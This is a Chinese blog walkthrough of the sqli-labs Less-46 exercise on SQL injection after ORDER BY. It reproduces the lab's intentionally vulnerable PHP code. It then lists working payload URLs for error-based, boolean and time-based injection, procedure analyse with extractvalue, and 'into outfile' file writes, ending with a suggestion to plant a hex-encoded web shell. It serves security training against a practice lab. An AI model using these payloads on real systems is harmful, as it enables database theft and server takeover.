sqli-Labs————less-46(order by 之後的注入)

FLy_鵬程萬里發表於2018-05-21

前言

從這一關開始將會介紹一下order by相關的注入內容。

Less-46


原始碼:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY-Error-Numeric</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
include("../sql-connections/sql-connect.php");
$id=$_GET['sort'];	
if(isset($id))
	{
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'SORT:'.$id."\n");
	fclose($fp);

	$sql = "SELECT * FROM users ORDER BY $id";
	$result = mysql_query($sql);
	if ($result)
		{
		?>
		<center>
		<font color= "#00FF00" size="4">
		
		<table   border=1'>
		<tr>
			<th> ID </th>
			<th> USERNAME   </th>
			<th> PASSWORD   </th>
		</tr>
		</font>
		</font>
		<?php
		while ($row = mysql_fetch_assoc($result))
			{
			echo '<font color= "#00FF11" size="3">';		
			echo "<tr>";
    			echo "<td>".$row['id']."</td>";
    			echo "<td>".$row['username']."</td>";
    			echo "<td>".$row['password']."</td>";
			echo "</tr>";
			echo "</font>";
			}	
		echo "</table>";
		
		}
		else
		{
		echo '<font color= "#FFFF00">';
		print_r(mysql_error());
		echo "</font>";  
		}
	}	
	else
	{
		echo "Please input parameter as SORT with numeric value<br><br><br><br>";
		echo "<br><br><br>";
		echo '<img src="../images/Less-46.jpg" /><br>';
		echo "Lesson Concept and code Idea by <b>D4rk</b>";
	}
?>
		
		
</font> </div></br></br></br>

</center> 
</body>
</html>

執行的sql語句為:

$sql = "SELECT * FROM users ORDER BY $id";

通過嘗試?sort=1 desc 或者asc。顯示的結果不同,所以可以注入!

從上述的sql語句中我們可以看出,我們的注入點在order by後面的引數中,而order by不同於我們在where後的注入點,不能使用union等進行注入。如何進行order by的注入,我們先來了解一下mysql官方select的文件。


我們利用order by後面的一些引數進行注入:

首先

(1)order by 後的數字可以作為一個注入點。也就是構造order by 後的一個語句,讓該語句執行結果為一個數,我們嘗試

http://192.168.11.136/sqli-labs/Less-46?sort=right(version(),1)

沒有報錯,right換成left都一樣,說明數字沒有起作用,我們考慮布林型別。此時我們可以用報錯注入和延時注入。

此處可以直接構造 ?sort= 後面的一個引數。此時,我們可以有三種形式,

①直接新增註入語句,?sort=(select ******)

②利用一些函式。例如rand()函式等。?sort=rand(sql語句)

Ps:此處我們可以展示一下rand(ture)和rand(false)的結果是不一樣的。


③利用and,例如?sort=1 and (加sql語句)。

同時,sql語句可以利用報錯注入和延時注入的方式,語句我們可以很靈活的構造。

報錯注入:

http://192.168.11.136/sqli-labs/Less-46?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))


上述例子,可以看到root@localhost的使用者名稱

接下來我們用rand()進行演示一下,因為上面提到rand(true)和 rand(false)結果是不一樣的。

http://192.168.11.136/sqli-labs/Less-46?sort=rand(ascii(left(database(),1))=115)

http://192.168.11.136/sqli-labs/Less-46?sort=rand(ascii(left(database(),1))=116)


從上述兩個圖的結果,對比rand(ture)和rand(false)的結果,可以看出報錯注入是成功的。

延時注入

http://192.168.11.136/sqli-labs/Less-46?sort=(SELECT  IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)

http://192.168.11.136/sqli-labs/Less-46?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))


同時也可以用?sort=1 and 後新增註入語句。這裡就不一一演示了。

1、procedure analyse引數後注入
利用procedure analyse引數,我們可以執行報錯注入。同時,在procedure analyse和order by之間可以存在limit引數,我們在實際應用中,往往也可能會存在limit後的注入,可以利用procedure analyse進行注入
以下為示範例
http://192.168.11.136/sqli-labs/Less-46?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

2、匯入匯出檔案 into  outfile函式

http://192.168.11.136/sqli-labs/Less-46?sort=1 into outfile 'C:\\phpstudy\\WWW\\sqli-labs\\Less-46\\test.php'



那這個時候我們可以考慮上傳網馬,利用lines terminated by。

Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(網馬進行16進位制轉換)

相關文章